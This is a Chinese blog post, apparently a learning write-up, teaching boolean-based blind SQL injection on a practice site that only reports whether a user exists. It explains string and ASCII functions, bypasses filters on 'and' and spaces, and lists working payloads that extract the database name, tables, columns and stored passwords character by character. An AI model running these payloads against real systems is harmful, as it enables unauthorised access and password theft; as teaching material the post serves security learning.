0
点赞
收藏
分享

微信扫一扫

SQL注入(2):布尔盲注

夜空一星 2022-05-01 阅读 34
sql数据库

书接上回,继续学习dalao的教学:《小黄的revenge》

被入侵的小黄改了代码:

将回显输出删除,只保留用户存在判断功能,

id 进行过滤,禁止输入 union order by and 、空格等字符

我们提交查询后网站只会告诉我们用户是否存在

很明显,联合查询注入已经不行了,那么可以使用盲注试试看:

首先来理解几个SQL函数和语法:

1,substr mid left right:

作用是截取字符串, subtr mid 用法一样都是 指定开头、步长从左到右对字符串进行截取。

ep:

substr(<string>,<start>,<length>) 
mid(<string>,<start>,<length>)

left 是从左进行截取,而 right 是从右进行截取,只需指定步长即可

ep:

left(<string>,<length>)
right(<string>,<length>)

2. ascii ord

用于将字符转换成对应的 ascii 码。

ep:

select ascii('a') #返回97 
select ord('A') #返回65

3. and or 空格的 bypass

直接使用 and 空格被ban了,那就用其他的字符来bypass 不能直接使用的and、 空格等。

接着是构造payload

去查了一手payload是什么

首先来看一个 payload

?id=1&&length(database())>0#

语句为真,所以返回:用户存在

我们将大于号换成小于号,很明显结果为假,数据库名长度不可能为负,那么 true and false = false ,执行结

果就是用户不存在:( 注意: payload 最好进行一次 url 编码,否则后台可能无法识别。 )

 

把0改变,从0依次试错,sql语句执行结果为真时会显示用户存在,结果为假时会显示用户不存在。我们利用这种特性,可以试出数据库名的长度

1-4 均显示用户不存在,到 5的时候返回: 用户存在

判断出,数据库名的长度一定为 5

就继续构造出如下的 payload

//爆库名 1&&ascii(substr((select/**/database()),1,1))=97# 
//截取数据库名第一个字符判断是否为 'a' 
//爆表名 1&&ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.t ables/**/where/**/table_schema=database()),1,1))=97# //截取表名第一个字符 
//爆列名 1&&ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema. columns/**/where/**/table_name='userinfo'),1,1))=97# //截取列名第一个字符 
//爆字段(密码) 1&&ascii(substr((select/**/group_concat(passwd)/**/from/**/users.userinfo),1,1))=97 # //截取passwd字段第一个字符

分析:

 

理解完 payload 之后我们就可以通过修改最后的 ascii 码,来逐一对查询出的结果进行爆破,那么通常我们有两种方式:

直接用 burpsuite 暴力破解

编写脚本

感谢师哥=)

举报

相关推荐

0 条评论